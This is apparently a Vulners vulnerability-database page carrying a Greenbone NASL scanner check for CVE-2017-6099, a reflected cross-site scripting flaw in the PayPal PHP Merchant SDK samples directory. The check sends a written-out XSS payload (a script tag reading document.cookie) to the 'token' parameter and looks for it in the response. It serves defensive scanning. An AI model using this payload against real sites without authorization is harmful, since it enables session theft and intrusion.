| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| PayPal PHP Merchant SDK Cross-Site Scripting Vulnerability | 27 Feb 201700:00 | – | cnvd | |
| CVE-2017-6099 | 23 Feb 201721:00 | – | cve | |
| CVE-2017-6099 | 23 Feb 201721:00 | – | cvelist | |
| EUVD-2022-4675 | 3 Oct 202520:07 | – | euvd | |
| Cross-site scripting (XSS) vulnerability in Paypal-Merchant-SDK-PHP | 1 Jan 197000:00 | – | friendsofphp | |
| Cross-site scripting (XSS) vulnerability in Paypal-Merchant-SDK-PHP | 1 Jan 197000:00 | – | friendsofphp | |
| PayPal PHP Merchant SDK Cross-site scripting (XSS) vulnerability | 14 May 202201:21 | – | github | |
| CVE-2017-6099 | 24 Feb 201702:59 | – | nvd | |
| GHSA-P4G7-WJHQ-9R2H PayPal PHP Merchant SDK Cross-site scripting (XSS) vulnerability | 14 May 202201:21 | – | osv | |
| Cross site scripting | 24 Feb 201702:59 | – | prion |
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/96432 |
| github | www.github.com/paypal/merchant-sdk-php/issues/129 |
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:paypal:merchant-sdk-php";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.108087");
script_version("2023-10-27T05:05:28+0000");
script_cve_id("CVE-2017-6099");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2019-03-13 17:24:00 +0000 (Wed, 13 Mar 2019)");
script_tag(name:"creation_date", value:"2017-02-28 07:21:29 +0100 (Tue, 28 Feb 2017)");
script_name("PayPal PHP Merchant SDK <= 3.9.1 Cross-site Scripting Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2017 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_paypal_merchant-sdk-php_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("paypal/merchant-sdk-php/installed");
script_xref(name:"URL", value:"https://github.com/paypal/merchant-sdk-php/issues/129");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/96432");
script_tag(name:"summary", value:"This host has installed the PayPal PHP Merchant SDK and is
prone to a cross-site scripting vulnerability.");
script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check
the response.");
script_tag(name:"insight", value:"The flaw is due to an input passed via
the samples/AccountAuthentication/GetAuthDetails.html.php script to the 'token'
parameter which is not properly sanitized.");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to
execute arbitrary HTML and script code in a user's browser session in the context
of an affected site.");
script_tag(name:"affected", value:"PHP Merchant SDK versions up to 3.9.1");
script_tag(name:"solution", value:"Remove the /samples directory from this host.");
script_tag(name:"solution_type", value:"Workaround");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );
if( dir == "/" ) dir = "";
url = dir + "/samples/AccountAuthentication/GetAuthDetails.html.php?token=><script>alert(document.cookie)</script>";
if( http_vuln_check( port:port, url:url, check_header:TRUE,
pattern:"value=><script>alert\(document\.cookie\)</script> />",
extra_check:make_list( "GetAuthDetails</title>", "GetAuthDetails</h3>" ) ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation